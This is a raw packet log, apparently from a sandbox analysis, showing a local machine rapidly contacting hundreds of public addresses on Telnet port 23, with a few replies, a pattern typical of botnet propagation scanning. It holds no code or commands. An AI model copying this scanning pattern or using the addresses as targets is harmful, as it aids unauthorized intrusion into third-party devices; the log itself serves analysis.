Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	34.130.90.232
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	108.33.127.250
Jan 30, 2025 10:42:59.084156990 CET	38884	23	192.168.2.13	178.89.220.9
Jan 30, 2025 10:42:59.084156036 CET	38884	23	192.168.2.13	111.179.96.73
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	193.21.142.64
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	112.10.252.106
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	9.202.116.117
Jan 30, 2025 10:42:59.084148884 CET	38884	23	192.168.2.13	176.242.189.203
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	111.121.203.32
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	160.81.41.164
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	64.112.233.38
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	161.118.206.236
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	142.103.76.226
Jan 30, 2025 10:42:59.084156036 CET	38884	23	192.168.2.13	78.117.74.100
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	19.222.80.31
Jan 30, 2025 10:42:59.084148884 CET	38884	23	192.168.2.13	106.33.223.85
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	208.241.62.242
Jan 30, 2025 10:42:59.084156036 CET	38884	23	192.168.2.13	108.184.115.84
Jan 30, 2025 10:42:59.084148884 CET	38884	23	192.168.2.13	100.39.254.28
Jan 30, 2025 10:42:59.084156990 CET	38884	23	192.168.2.13	157.123.19.152
Jan 30, 2025 10:42:59.084148884 CET	38884	23	192.168.2.13	125.29.169.232
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	61.161.127.197
Jan 30, 2025 10:42:59.084156990 CET	38884	23	192.168.2.13	27.86.253.150
Jan 30, 2025 10:42:59.084148884 CET	38884	23	192.168.2.13	140.205.117.102
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	17.255.48.84
Jan 30, 2025 10:42:59.084157944 CET	38884	23	192.168.2.13	88.189.118.234
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	12.179.0.94
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	74.229.82.1
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	118.229.86.14
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	201.191.80.210
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	178.153.79.108
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	172.98.91.141
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	76.9.33.118
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	50.79.145.150
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	174.123.189.6
Jan 30, 2025 10:42:59.084206104 CET	38884	23	192.168.2.13	162.54.174.75
Jan 30, 2025 10:42:59.084242105 CET	38884	23	192.168.2.13	196.189.13.33
Jan 30, 2025 10:42:59.084242105 CET	38884	23	192.168.2.13	90.222.198.9
Jan 30, 2025 10:42:59.084242105 CET	38884	23	192.168.2.13	191.43.143.169
Jan 30, 2025 10:42:59.084243059 CET	38884	23	192.168.2.13	45.205.138.156
Jan 30, 2025 10:42:59.084243059 CET	38884	23	192.168.2.13	93.107.49.10
Jan 30, 2025 10:42:59.084243059 CET	38884	23	192.168.2.13	40.240.24.26
Jan 30, 2025 10:42:59.084243059 CET	38884	23	192.168.2.13	89.107.34.3
Jan 30, 2025 10:42:59.084243059 CET	38884	23	192.168.2.13	164.214.30.245
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	124.199.251.17
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	119.177.122.152
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	150.178.172.249
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	180.28.73.240
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	140.11.39.67
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	198.168.11.67
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	200.105.53.8
Jan 30, 2025 10:42:59.084253073 CET	38884	23	192.168.2.13	198.79.184.167
Jan 30, 2025 10:42:59.084255934 CET	38884	23	192.168.2.13	156.212.45.178
Jan 30, 2025 10:42:59.084255934 CET	38884	23	192.168.2.13	52.219.253.55
Jan 30, 2025 10:42:59.084255934 CET	38884	23	192.168.2.13	101.239.9.29
Jan 30, 2025 10:42:59.084255934 CET	38884	23	192.168.2.13	197.12.81.157
Jan 30, 2025 10:42:59.084255934 CET	38884	23	192.168.2.13	103.247.113.158
Jan 30, 2025 10:42:59.084255934 CET	38884	23	192.168.2.13	149.154.119.189
Jan 30, 2025 10:42:59.084256887 CET	38884	23	192.168.2.13	57.185.141.20
Jan 30, 2025 10:42:59.084256887 CET	38884	23	192.168.2.13	59.102.245.207
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	63.168.203.53
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	209.121.64.151
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	119.163.88.204
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	211.168.88.152
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	112.42.13.146
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	218.222.102.162
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	84.176.240.23
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	100.199.191.7
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	110.158.161.212
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	85.216.32.218
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	43.203.49.54
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	190.229.176.252
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	2.144.183.243
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	46.45.220.69
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	161.12.218.173
Jan 30, 2025 10:42:59.084270000 CET	38884	23	192.168.2.13	27.152.202.27
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	102.32.204.65
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	124.249.66.158
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	5.65.56.38
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	72.244.63.42
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	88.238.135.231
Jan 30, 2025 10:42:59.084290028 CET	38884	23	192.168.2.13	134.193.183.205
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	53.64.213.71
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	175.244.183.92
Jan 30, 2025 10:42:59.084290028 CET	38884	23	192.168.2.13	106.162.101.220
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	54.146.238.63
Jan 30, 2025 10:42:59.084290028 CET	38884	23	192.168.2.13	160.70.73.244
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	117.99.101.57
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	75.188.35.116
Jan 30, 2025 10:42:59.084292889 CET	38884	23	192.168.2.13	206.47.99.26
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	146.184.149.96
Jan 30, 2025 10:42:59.084287882 CET	38884	23	192.168.2.13	166.55.141.183
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	218.102.65.198
Jan 30, 2025 10:42:59.084292889 CET	38884	23	192.168.2.13	118.228.87.137
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	125.165.198.201
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	37.131.198.226
Jan 30, 2025 10:42:59.084292889 CET	38884	23	192.168.2.13	190.107.166.37
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	24.107.245.65
Jan 30, 2025 10:42:59.084292889 CET	38884	23	192.168.2.13	78.151.56.234
Jan 30, 2025 10:42:59.084290981 CET	38884	23	192.168.2.13	116.164.92.22
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	4.102.173.165
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	125.226.72.10
Jan 30, 2025 10:42:59.084290028 CET	38884	23	192.168.2.13	126.69.152.23
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	187.26.102.15
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	41.160.101.132
Jan 30, 2025 10:42:59.084290028 CET	38884	23	192.168.2.13	155.192.144.221
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	198.109.69.104
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	153.100.145.220
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	115.66.129.194
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	182.57.186.3
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	49.1.243.115
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	93.188.64.182
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	205.200.28.168
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	111.127.71.130
Jan 30, 2025 10:42:59.084306955 CET	38884	23	192.168.2.13	155.148.185.228
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	73.215.192.134
Jan 30, 2025 10:42:59.084292889 CET	38884	23	192.168.2.13	38.4.18.125
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	89.147.158.214
Jan 30, 2025 10:42:59.084322929 CET	38884	23	192.168.2.13	213.88.179.167
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	147.133.208.33
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	58.66.212.255
Jan 30, 2025 10:42:59.084306955 CET	38884	23	192.168.2.13	133.22.201.244
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	173.116.47.215
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	82.100.134.11
Jan 30, 2025 10:42:59.084306955 CET	38884	23	192.168.2.13	169.191.52.93
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	1.224.181.52
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	179.180.170.229
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	206.136.105.92
Jan 30, 2025 10:42:59.084322929 CET	38884	23	192.168.2.13	198.44.125.7
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	129.104.180.160
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	177.78.141.154
Jan 30, 2025 10:42:59.084322929 CET	38884	23	192.168.2.13	79.243.179.109
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	106.210.150.54
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	134.94.147.126
Jan 30, 2025 10:42:59.084310055 CET	38884	23	192.168.2.13	140.211.17.226
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	185.42.143.6
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	172.223.109.122
Jan 30, 2025 10:42:59.084294081 CET	38884	23	192.168.2.13	84.40.110.177
Jan 30, 2025 10:42:59.084342957 CET	38884	23	192.168.2.13	198.78.197.107
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	101.183.201.84
Jan 30, 2025 10:42:59.084306955 CET	38884	23	192.168.2.13	107.134.151.3
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	110.245.137.169
Jan 30, 2025 10:42:59.084342957 CET	38884	23	192.168.2.13	71.183.97.3
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	59.206.73.198
Jan 30, 2025 10:42:59.084307909 CET	38884	23	192.168.2.13	58.179.188.145
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	24.17.151.213
Jan 30, 2025 10:42:59.084307909 CET	38884	23	192.168.2.13	75.5.176.96
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	216.22.135.130
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	140.205.187.134
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	126.49.74.238
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	93.124.113.250
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	64.237.21.250
Jan 30, 2025 10:42:59.084307909 CET	38884	23	192.168.2.13	79.71.70.141
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	154.101.137.7
Jan 30, 2025 10:42:59.084342957 CET	38884	23	192.168.2.13	200.128.150.136
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	92.98.57.108
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	167.118.11.234
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	166.126.160.83
Jan 30, 2025 10:42:59.084343910 CET	38884	23	192.168.2.13	91.245.32.186
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	82.115.159.43
Jan 30, 2025 10:42:59.084307909 CET	38884	23	192.168.2.13	219.101.130.101
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	198.44.160.121
Jan 30, 2025 10:42:59.084343910 CET	38884	23	192.168.2.13	67.7.252.242
Jan 30, 2025 10:42:59.084362030 CET	38884	23	192.168.2.13	14.143.34.190
Jan 30, 2025 10:42:59.084323883 CET	38884	23	192.168.2.13	116.218.21.120
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	114.226.106.138
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	64.63.201.183
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	49.65.30.242
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	162.216.130.199
Jan 30, 2025 10:42:59.084343910 CET	38884	23	192.168.2.13	187.226.183.145
Jan 30, 2025 10:42:59.084371090 CET	38884	23	192.168.2.13	143.44.104.244
Jan 30, 2025 10:42:59.084343910 CET	38884	23	192.168.2.13	51.16.90.135
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	35.30.195.232
Jan 30, 2025 10:42:59.084343910 CET	38884	23	192.168.2.13	147.2.24.72
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	161.77.90.66
Jan 30, 2025 10:42:59.084301949 CET	38884	23	192.168.2.13	86.206.161.64
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	155.140.192.94
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	58.97.31.161
Jan 30, 2025 10:42:59.084350109 CET	38884	23	192.168.2.13	34.197.52.195
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	61.83.233.75
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	197.195.19.33
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	179.188.118.20
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	182.180.80.134
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	179.202.126.52
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	171.121.19.147
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	170.230.143.12
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	39.1.19.13
Jan 30, 2025 10:42:59.084383965 CET	38884	23	192.168.2.13	210.150.15.124
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	132.43.123.49
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	13.19.59.71
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	211.209.249.168
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	138.98.238.190
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	12.104.55.76
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	153.42.213.189
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	131.51.197.119
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	5.121.159.200
Jan 30, 2025 10:42:59.084383965 CET	38884	23	192.168.2.13	223.249.45.225
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	223.196.34.71
Jan 30, 2025 10:42:59.084393978 CET	38884	23	192.168.2.13	66.254.241.233
Jan 30, 2025 10:42:59.084383965 CET	38884	23	192.168.2.13	161.217.71.254
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	154.66.244.226
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	128.208.110.104
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	113.69.248.24
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	162.32.238.203
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	135.66.250.119
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	197.107.220.246
Jan 30, 2025 10:42:59.084364891 CET	38884	23	192.168.2.13	165.92.208.123
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	78.78.182.18
Jan 30, 2025 10:42:59.084377050 CET	38884	23	192.168.2.13	159.44.51.21
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	36.99.76.13
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	41.227.50.101
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	78.194.241.238
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	98.6.195.44
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	165.7.16.100
Jan 30, 2025 10:42:59.084362984 CET	38884	23	192.168.2.13	112.74.179.199
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	172.37.37.219
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	75.118.238.89
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	64.253.172.216
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	89.173.105.181
Jan 30, 2025 10:42:59.084387064 CET	38884	23	192.168.2.13	136.246.11.142
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	157.245.105.136
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	141.179.166.191
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	210.110.32.18
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	207.138.204.136
Jan 30, 2025 10:42:59.084398031 CET	38884	23	192.168.2.13	34.198.232.7
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	95.79.253.158
Jan 30, 2025 10:42:59.084398985 CET	38884	23	192.168.2.13	160.104.73.205
Jan 30, 2025 10:42:59.084383011 CET	38884	23	192.168.2.13	101.136.159.2
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	40.228.234.248
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	89.29.110.10
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	111.222.95.79
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	134.249.252.224
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	98.79.139.111
Jan 30, 2025 10:42:59.084417105 CET	38884	23	192.168.2.13	212.102.64.82
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	78.99.35.100
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	41.65.191.71
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	198.247.97.5
Jan 30, 2025 10:42:59.084417105 CET	38884	23	192.168.2.13	96.87.36.78
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	221.188.50.36
Jan 30, 2025 10:42:59.084417105 CET	38884	23	192.168.2.13	25.85.174.250
Jan 30, 2025 10:42:59.084414959 CET	38884	23	192.168.2.13	187.105.171.29
Jan 30, 2025 10:42:59.084417105 CET	38884	23	192.168.2.13	207.103.52.20
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	155.95.151.239
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	83.166.217.94
Jan 30, 2025 10:42:59.084417105 CET	38884	23	192.168.2.13	83.6.223.128
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	222.183.15.172
Jan 30, 2025 10:42:59.084417105 CET	38884	23	192.168.2.13	72.100.249.159
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	89.222.34.30
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	167.190.198.132
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	76.36.13.10
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	185.9.100.148
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	161.218.96.230
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	83.135.245.246
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	139.69.231.198
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	144.4.66.46
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	141.232.117.62
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	78.86.245.13
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	164.25.83.144
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	135.163.17.113
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	68.76.155.81
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	192.233.38.111
Jan 30, 2025 10:42:59.084418058 CET	38884	23	192.168.2.13	20.241.29.214
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	76.166.105.116
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	47.202.239.52
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	169.178.184.98
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	96.222.213.10
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	183.240.172.145
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	146.74.137.124
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	78.92.170.4
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	137.68.47.198
Jan 30, 2025 10:42:59.084423065 CET	38884	23	192.168.2.13	212.122.56.119
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	187.73.188.17
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	70.173.225.111
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	168.56.120.186
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	121.241.248.1
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	213.195.69.220
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	151.176.86.246
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	114.112.171.34
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	82.108.11.195
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	35.135.155.5
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	18.199.156.206
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	177.216.21.180
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	71.79.219.127
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	52.143.130.59
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	140.146.188.253
Jan 30, 2025 10:42:59.084441900 CET	38884	23	192.168.2.13	71.146.39.63
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	58.166.86.62
Jan 30, 2025 10:42:59.084427118 CET	38884	23	192.168.2.13	206.104.25.120
Jan 30, 2025 10:42:59.084438086 CET	38884	23	192.168.2.13	126.70.75.75
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	161.66.125.17
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	92.216.195.223
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	110.12.131.6
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	58.244.141.3
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	177.126.237.92
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	125.192.237.154
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	27.129.117.81
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	206.189.119.156
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	85.50.98.187
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	133.20.72.212
Jan 30, 2025 10:42:59.084456921 CET	38884	23	192.168.2.13	195.8.64.169
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	77.132.164.166
Jan 30, 2025 10:42:59.084450960 CET	38884	23	192.168.2.13	13.112.128.119
Jan 30, 2025 10:42:59.084480047 CET	38884	23	192.168.2.13	130.120.92.179
Jan 30, 2025 10:42:59.084480047 CET	38884	23	192.168.2.13	58.222.110.56
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	9.58.58.64
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	76.196.9.49
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	59.100.100.199
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	185.161.214.22
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	155.107.173.145
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	23.176.16.43
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	65.173.150.152
Jan 30, 2025 10:42:59.084484100 CET	38884	23	192.168.2.13	177.19.25.223
Jan 30, 2025 10:42:59.084496975 CET	38884	23	192.168.2.13	175.241.155.101
Jan 30, 2025 10:42:59.084496975 CET	38884	23	192.168.2.13	40.254.27.175
Jan 30, 2025 10:42:59.084496975 CET	38884	23	192.168.2.13	41.15.55.121
Jan 30, 2025 10:42:59.084625959 CET	38884	23	192.168.2.13	107.208.176.217
Jan 30, 2025 10:42:59.085211992 CET	45246	23	192.168.2.13	116.42.227.92
Jan 30, 2025 10:42:59.086770058 CET	34538	23	192.168.2.13	183.244.94.92
Jan 30, 2025 10:42:59.087915897 CET	40770	23	192.168.2.13	131.232.126.255
Jan 30, 2025 10:42:59.089247942 CET	47826	23	192.168.2.13	63.32.59.22
Jan 30, 2025 10:42:59.089716911 CET	23	38884	181.196.69.130	192.168.2.13
Jan 30, 2025 10:42:59.089732885 CET	23	38884	50.36.72.190	192.168.2.13
Jan 30, 2025 10:42:59.089746952 CET	23	38884	210.36.49.11	192.168.2.13
Jan 30, 2025 10:42:59.089771032 CET	23	38884	89.125.122.254	192.168.2.13
Jan 30, 2025 10:42:59.089785099 CET	23	38884	196.134.168.167	192.168.2.13
Jan 30, 2025 10:42:59.089797020 CET	23	38884	86.47.60.248	192.168.2.13
Jan 30, 2025 10:42:59.089802027 CET	38884	23	192.168.2.13	181.196.69.130
Jan 30, 2025 10:42:59.089809895 CET	38884	23	192.168.2.13	50.36.72.190
Jan 30, 2025 10:42:59.089811087 CET	23	38884	106.37.17.84	192.168.2.13
Jan 30, 2025 10:42:59.089818954 CET	38884	23	192.168.2.13	210.36.49.11
Jan 30, 2025 10:42:59.089848042 CET	38884	23	192.168.2.13	196.134.168.167
Jan 30, 2025 10:42:59.089848042 CET	38884	23	192.168.2.13	86.47.60.248
Jan 30, 2025 10:42:59.089855909 CET	38884	23	192.168.2.13	89.125.122.254
Jan 30, 2025 10:42:59.089873075 CET	23	38884	190.119.83.131	192.168.2.13
Jan 30, 2025 10:42:59.089885950 CET	23	38884	142.0.140.248	192.168.2.13
Jan 30, 2025 10:42:59.089900017 CET	23	38884	58.188.77.216	192.168.2.13
Jan 30, 2025 10:42:59.089911938 CET	23	38884	159.230.53.1	192.168.2.13
Jan 30, 2025 10:42:59.089914083 CET	38884	23	192.168.2.13	106.37.17.84
Jan 30, 2025 10:42:59.089914083 CET	38884	23	192.168.2.13	190.119.83.131
Jan 30, 2025 10:42:59.089914083 CET	38884	23	192.168.2.13	142.0.140.248
